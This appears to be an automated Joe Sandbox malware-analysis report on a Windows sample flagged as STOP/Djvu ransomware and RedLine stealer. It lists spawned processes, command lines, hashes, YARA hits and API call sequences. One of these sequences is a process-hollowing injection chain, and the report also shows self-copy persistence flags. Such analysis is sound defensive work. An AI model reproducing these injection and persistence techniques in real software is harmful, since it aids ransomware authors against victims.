Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	19:48:28
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Imagebase:	0xfe0000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:48:31
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	19:48:33
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	19:48:33
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:48:34
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	19:48:39
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000011.00000002.2334754959.0000000000790000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:48:39
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Imagebase:	0x280000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:48:39
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\51eb5671.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	19:48:39
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:48:43
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:48:47
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000016.00000002.2411512364.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:48:47
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
Imagebase:	0x6f0000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:48:47
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\13433410.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	19:48:47
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	19:48:51
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart
Imagebase:	0x400000
File size:	811'520 bytes
MD5 hash:	502D888EA54C803993572355CC829B54
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	38.4%
Signature Coverage:	10.5%
Total number of Nodes:	237
Total number of Limit Nodes:	14

Executed Functions

Function 00505044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00505223
WriteFile.KERNELBASE(00000000,FFEFF653,00003E00,?,00000000), ref: 00505252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00505256
WinExec.KERNEL32(?,00000005), ref: 00505262

Strings

el32, xrefs: 005050FB
Kern, xrefs: 005050F4
odul, xrefs: 0050522D
OmbNjE.exe, xrefs: 005051FD, 00505200
lstr, xrefs: 005051A7
Clos, xrefs: 00505129
athA, xrefs: 00505199
catA, xrefs: 005051AF
GetM, xrefs: 005050B6
.dll, xrefs: 00505102
dleA, xrefs: 005050D0
Crea, xrefs: 00505169
GetT, xrefs: 00505188
Writ, xrefs: 00505148
WinE, xrefs: 00505110

Memory Dump Source

Source File: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$OmbNjE.exe$WinE$Writ$athA$catA$dleA$el32$lstr$odul
API String ID: 2234911746-820863388
Opcode ID: ac259f00b5e79e71de9e8f6485a139939bfddb419ad77d64dbef8e202091ca63
Instruction ID: 842db3b2907b52941787608d0d623cbdfa2e2bce21a906825fcbc4b31007a2f8
Opcode Fuzzy Hash: ac259f00b5e79e71de9e8f6485a139939bfddb419ad77d64dbef8e202091ca63
Instruction Fuzzy Hash: 3E613B74D01616DBCF24CF94C884BAEFBB4BF48315F6586AAD445AB281E3709E81CF91

Function 02300110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02300156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0230016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02300255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02300270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02300283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0230029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023002C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 023002E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02300304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0230032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02300399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 023003BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 023003E1
ResumeThread.KERNELBASE(00000000), ref: 023003ED
ExitProcess.KERNEL32(00000000), ref: 02300412

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: dde965f4710aeedd1efc13954f472dff456d74eb49abff6917f13caa577c6451
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 8AB1C674A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB391D771AE41CF94

Function 022607A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022607CE
Module32First.KERNEL32(00000000,00000224), ref: 022607EE

Memory Dump Source

Source File: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 4e924f05429110f1c4c4e147561f8423b57d5eced90d7081e3cd106fa7e0edd2
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 6FF06232111711AFE7213AF5988CBBF77E8BF49665F100528E642954C0DB70EA859A61

Function 004030B7 Relevance: 59.8, APIs: 17, Strings: 17, Instructions: 309
memorylibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ClientToScreen.USER32(00000000,00000000), ref: 004030DA
CreateDirectoryExW.KERNEL32(Duxe xadofayonuwanu,Cazaxobaza jiyihe jevi fakemev,00000000), ref: 004030EB
SetMailslotInfo.KERNEL32(00000000,00000000), ref: 004030F3
SetFilePointer.KERNEL32(00000000,00000000,?,00000000), ref: 00403100

Part of subcall function 00402730: __vswprintf.LIBCMT ref: 00402735

_realloc.LIBCMT ref: 0040310D

Part of subcall function 004041CA: _malloc.LIBCMT ref: 004041E0

_calloc.LIBCMT ref: 0040311C

Part of subcall function 00403BAE: __calloc_impl.LIBCMT ref: 00403BC3

_ftell.LIBCMT ref: 00403122
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00403829
GlobalAlloc.KERNELBASE(00000000), ref: 0040383B
GetProcAddress.KERNEL32(VirtualAlloc), ref: 00403851
VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 0040386A
GetBinaryTypeA.KERNEL32(luhigegugeture,?), ref: 004038B6
LocalHandle.KERNEL32(00000000), ref: 004038BD
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004038CB
SetLastError.KERNEL32(00000000), ref: 004038E2
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00403912
lstrlenW.KERNEL32(00000000), ref: 00403919

Strings

VirtualAlloc, xrefs: 00403841
0ET5, xrefs: 00403717
L]tn, xrefs: 00403398
<Z:^, xrefs: 0040331C
kernel32.dll, xrefs: 004037CA
"P(, xrefs: 004032F0
!F2, xrefs: 00403608
v}TI, xrefs: 00403326
db_B, xrefs: 00403366
`7y, xrefs: 004036F9
Cazaxobaza jiyihe jevi fakemev, xrefs: 004030E1
^@ga, xrefs: 00403743
G-n, xrefs: 004033FA
Mw%/, xrefs: 004032DF
pj?[, xrefs: 00403252
Duxe xadofayonuwanu, xrefs: 004030E6
luhigegugeture, xrefs: 004038B1

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: AllocHandle$AddressBinaryClientConsoleCountCreateCriticalDirectoryErrorFileGlobalInfoInitializeLastLocalMailslotModulePointerProcScreenSectionSpinTypeVirtualWrite__calloc_impl__vswprintf_calloc_ftell_malloc_realloclstrlen
String ID: !F2$"P($0ET5$<Z:^$Cazaxobaza jiyihe jevi fakemev$Duxe xadofayonuwanu$L]tn$Mw%/$VirtualAlloc$^@ga$`7y$db_B$kernel32.dll$luhigegugeture$pj?[$v}TI$G-n
API String ID: 456091596-2878150554
Opcode ID: e28d47237e2730c8b40735de0858f5a06e83cbeeece66e7f9099a37d473baff1
Instruction ID: 09a32c84cd619bfe8165287022838979832845959a5326d056678c869dc2e665
Opcode Fuzzy Hash: e28d47237e2730c8b40735de0858f5a06e83cbeeece66e7f9099a37d473baff1
Instruction Fuzzy Hash: 9F120EB0C013A9CFDB209F95DE89BDDBBB4BB05304F2082E9D1593A251C7750A89CF59

Function 02300420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02300533

Strings

0, xrefs: 02300492
saodkfnosa9uin, xrefs: 023004DA
mfoaskdfnoa, xrefs: 02300520, 02300523
d, xrefs: 02300584

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 3a11691df401d185cc51b8936025df5dd94ea5eac4e5d6f1816823ae403e31fe
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: C5513870D08388DAEB15CBE8C858BEDBFB6AF11708F144058D5443F2C6C7BA5658CB62

Function 023005B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 023005EC

Strings

apfHQ, xrefs: 023005E2, 023005E5
o, xrefs: 02300600

Memory Dump Source

Source File: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, Offset: 02300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2300000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 4723552f3ae229f6d068742418945b1fba1bf4f70b62a44a9f3bbe2f2463230a
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0A011E70C0425CEADB14DBD8C5583EEBFB5AF41308F188099C4592B282D7769B58CBA1

Function 0040273E Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(004FF980,004039F0), ref: 004027AB

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9087da0429ac9426e5e80b71b06f83177ecc777018d8ea8bfa0e7d7c69f6ddfd
Instruction ID: 62338d047e6028780d550c9e294bee5d130d7659487876fc70611ddb4f1f3d62
Opcode Fuzzy Hash: 9087da0429ac9426e5e80b71b06f83177ecc777018d8ea8bfa0e7d7c69f6ddfd
Instruction Fuzzy Hash: 33F0F15565A780BAF6108BE0BD52F316321EF44B10F916437D554CF6F0D2E205A8DB5D

Function 00407E6E Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00407E83

Memory Dump Source

Source File: 00000000.00000002.2155949959.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2155482393.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.000000000041A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155949959.00000000004B6000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157120188.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157145901.00000000004BF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157175508.0000000000501000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157196826.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157217251.0000000000506000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 7687806fa1135e307a25d1bac704adaf8ee8646971fe14b635789d90eb5072d9
Instruction ID: 045bb2969208dc7c652f9fae605239f779d97bedc10597d72b085aa01c835dbe
Opcode Fuzzy Hash: 7687806fa1135e307a25d1bac704adaf8ee8646971fe14b635789d90eb5072d9
Instruction Fuzzy Hash: AAD05E369543449BEB005FB1AC087233BDC9788795F148476B80DC6690E678D990D648

Function 02260465 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022604B6

Memory Dump Source

Source File: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2260000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 7aed5c6a074d3d17f4583782b2e31b94b8c4ce71652e72e119c0162dc00a4eb5
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
